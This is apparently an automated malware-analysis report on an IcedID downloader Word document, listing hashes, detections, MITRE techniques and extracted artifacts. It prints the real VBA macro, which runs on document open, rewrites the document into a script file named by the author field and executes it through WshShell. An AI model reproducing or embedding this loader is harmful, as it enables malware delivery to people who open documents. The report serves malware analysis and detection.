IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 ba3b326c4fa4d199…

MALICIOUS

Office (OOXML)

33.5 KB Created: 2021-10-15 07:10:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-26
MD5: ea8d4304dbc49fc5e677d1b998a219e4 SHA-1: d08eee1f341f3c253a5e748253e95cc77944c7c9 SHA-256: ba3b326c4fa4d1992e43fbc3559a0e1f391c387d44a059e8d95cb570debcdc96
162 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.IcedID'. It contains a VBA macro with an AutoOpen subroutine that executes a shell command. This script reconstructs a filename from the document's author property and saves the document as a text file, then executes it using the WshShell 'run' method, likely to download and execute a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 816 bytes
SHA-256: 19a3e4c6399329f8bd3154ef545b2cb4d54f6390cdb933d6156d9e479087fc0d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "func"
Public Function s(kingLoveSea)
Set lineSea = New WshShell
lineSea.run kingLoveSea
End Function

Attribute VB_Name = "main"
Public Sub autoopen()
Dim redLineCaroline As String
redLineCaroline = vbNullString
youLoveYou = ActiveDocument.BuiltInDocumentProperties("author").Value
With ActiveDocument.Content.Find
.Execute FindText:="#)", ReplaceWith:=redLineCaroline, Replace:=wdReplaceAll
End With
ActiveDocument.SaveAs2 FileName:=youLoveYou, FileFormat:=wdFormatText
s youLoveYou
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: e3cf7d87ebb346825de124ee54061e36ce6d23a15b2cc9b976418a46af449cee